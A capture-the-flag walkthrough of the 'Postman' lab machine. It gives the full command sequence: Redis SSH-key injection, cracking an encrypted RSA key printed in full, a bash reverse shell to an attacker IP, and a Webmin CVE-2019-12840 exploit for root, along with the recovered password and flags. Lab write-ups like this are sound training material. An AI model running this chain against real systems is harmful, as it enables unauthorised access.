Postman

Enumeration

Nmap

nmap -sV -sC -T4 10.129.62.140


22/tcp    open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 46:83:4f:f1:38:61:c0:1c:74:cb:b5:d1:4a:68:4d:77 (RSA)
|   256 2d:8d:27:d2:df:15:1a:31:53:05:fb:ff:f0:62:26:89 (ECDSA)
|_  256 ca:7c:82:aa:5a:d3:72:ca:8b:8a:38:3a:80:41:a0:45 (ED25519)
80/tcp    open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: The Cyber Geek's Personal Website
10000/tcp open  http    MiniServ 1.910 (Webmin httpd)
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel


sudo nmap -pU -A --top-port 100 10.129.62.140



nmap -p- -A 10.129.62.140

22/tcp    open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 46:83:4f:f1:38:61:c0:1c:74:cb:b5:d1:4a:68:4d:77 (RSA)
|   256 2d:8d:27:d2:df:15:1a:31:53:05:fb:ff:f0:62:26:89 (ECDSA)
|_  256 ca:7c:82:aa:5a:d3:72:ca:8b:8a:38:3a:80:41:a0:45 (ED25519)
80/tcp    open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: The Cyber Geek's Personal Website
6379/tcp  open  redis   Redis key-value store 4.0.9
10000/tcp open  http    MiniServ 1.910 (Webmin httpd)
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Redis (6379)

redis-cli -h 10.129.62.140 -p 6379

config get *
165) "dir"
166) "/var/lib/redis"

RCE on Redis

https://m0053sec.wordpress.com/2020/02/13/redis-remote-code-execution-rce/

  • Creating SSH key to upload
ssh-keygen -t rsa -b 4096 -C "redis@kali"
(echo -e "\n\n"; cat /home/parrot/.ssh/id_rsa.pub; echo "\n\n") > key.txt
  • Upload SSH Key and change directory
redis-cli -h 10.129.62.140 flushall
cat key.txt | redis-cli -h 10.129.62.140 -x set crackit
redis-cli -h 10.129.62.140 -p 6379
config set dir /var/lib/redis/.ssh
config set dbfilename authorized_keys
save
quit
ssh redis@10.129.62.140 -i /home/parrot/.ssh/id_rsa
  • Uploading LinPeas for Enumerating
scp -i /home/parrot/.ssh/id_rsa linpeas.sh  redis@10.129.62.140:/tmp
  • Find RSA Key for Matt
echo '-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,73E9CEFBCCF5287C
JehA51I17rsCOOVqyWx+C8363IOBYXQ11Ddw/pr3L2A2NDtB7tvsXNyqKDghfQnX
cwGJJUD9kKJniJkJzrvF1WepvMNkj9ZItXQzYN8wbjlrku1bJq5xnJX9EUb5I7k2
7GsTwsMvKzXkkfEZQaXK/T50s3I4Cdcfbr1dXIyabXLLpZOiZEKvr4+KySjp4ou6
cdnCWhzkA/TwJpXG1WeOmMvtCZW1HCButYsNP6BDf78bQGmmlirqRmXfLB92JhT9
1u8JzHCJ1zZMG5vaUtvon0qgPx7xeIUO6LAFTozrN9MGWEqBEJ5zMVrrt3TGVkcv
EyvlWwks7R/gjxHyUwT+a5LCGGSjVD85LxYutgWxOUKbtWGBbU8yi7YsXlKCwwHP
UH7OfQz03VWy+K0aa8Qs+Eyw6X3wbWnue03ng/sLJnJ729zb3kuym8r+hU+9v6VY
Sj+QnjVTYjDfnT22jJBUHTV2yrKeAz6CXdFT+xIhxEAiv0m1ZkkyQkWpUiCzyuYK
t+MStwWtSt0VJ4U1Na2G3xGPjmrkmjwXvudKC0YN/OBoPPOTaBVD9i6fsoZ6pwnS
5Mi8BzrBhdO0wHaDcTYPc3B00CwqAV5MXmkAk2zKL0W2tdVYksKwxKCwGmWlpdke
P2JGlp9LWEerMfolbjTSOU5mDePfMQ3fwCO6MPBiqzrrFcPNJr7/McQECb5sf+O6
jKE3Jfn0UVE2QVdVK3oEL6DyaBf/W2d/3T7q10Ud7K+4Kd36gxMBf33Ea6+qx3Ge
SbJIhksw5TKhd505AiUH2Tn89qNGecVJEbjKeJ/vFZC5YIsQ+9sl89TmJHL74Y3i
l3YXDEsQjhZHxX5X/RU02D+AF07p3BSRjhD30cjj0uuWkKowpoo0Y0eblgmd7o2X
0VIWrskPK4I7IH5gbkrxVGb/9g/W2ua1C3Nncv3MNcf0nlI117BS/QwNtuTozG8p
S9k3li+rYr6f3ma/ULsUnKiZls8SpU+RsaosLGKZ6p2oIe8oRSmlOCsY0ICq7eRR
hkuzUuH9z/mBo2tQWh8qvToCSEjg8yNO9z8+LdoN1wQWMPaVwRBjIyxCPHFTJ3u+
Zxy0tIPwjCZvxUfYn/K4FVHavvA+b9lopnUCEAERpwIv8+tYofwGVpLVC0DrN58V
XTfB2X9sL1oB3hO4mJF0Z3yJ2KZEdYwHGuqNTFagN0gBcyNI2wsxZNzIK26vPrOD
b6Bc9UdiWCZqMKUx4aMTLhG5ROjgQGytWf/q7MGrO3cF25k1PEWNyZMqY4WYsZXi
WhQFHkFOINwVEOtHakZ/ToYaUQNtRT6pZyHgvjT0mTo0t3jUERsppj1pwbggCGmh
KTkmhK+MTaoy89Cg0Xw2J18Dm0o78p6UNrkSue1CsWjEfEIF3NAMEU2o+Ngq92Hm
npAFRetvwQ7xukk0rbb6mvF8gSqLQg7WpbZFytgS05TpPZPM0h8tRE8YRdJheWrQ
VcNyZH8OHYqES4g2UF62KpttqSwLiiF4utHq+/h5CQwsF+JRg88bnxh2z2BD6i5W
X+hK5HPpp6QnjZ8A5ERuUEGaZBEUvGJtPGHjZyLpkytMhTjaOrRNYw==
-----END RSA PRIVATE KEY-----' > matt_rsa
  • Crack hash for encrypted RSA key
ssh2john matt_rsa > hash.txt
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
john --show hash.txt
matt_rsa:computer2008
  • Credentials for Matt:computer2008
chmod 600 matt_rsa
ssh matt@10.129.62.140 -i matt_rsa
  • SSH is not working
  • Using su instead
redis@Postman:/tmp$ su -c 'cat /home/Matt/user.txt' Matt
Password: 
43cf2375a6fd454b51a41a8aa03acf9b

Getting Reverse Shell as Matt

echo '#!/bin/bash
bash -i >& /dev/tcp/10.10.14.128/4444 0>&1' > /tmp/shell.sh
chmod 777 shell.sh
nc -nvlp 4444
redis@Postman:/tmp$ su -c '/tmp/shell.sh' Matt
Password:

Checking Webmin Config

Matt@Postman:/etc/webmin$ cat version 
1.910

Matt@Postman:/etc/webmin$ ps aux | grep webmin
root        779  0.0  3.1  91064 28824 ?        Ss   18:14   0:00
/usr/bin/perl /usr/share/webmin/miniserv.pl /etc/webmin/miniserv.conf
  • Running as version 1.910
  • Running as root

Exploiting Webmin

https://github.com/KrE80r/webmin_cve-2019-12840_poc/blob/master/README.md
nc -nvlp 9001
python3 CVE-2019-12840.py -u https://10.129.62.140 -U Matt -P computer2008 -lhost 10.10.14.128 -lport 9001
root@Postman:~# cat root.txt
42b84dde3b6a0bb66241cbf78c7bddf9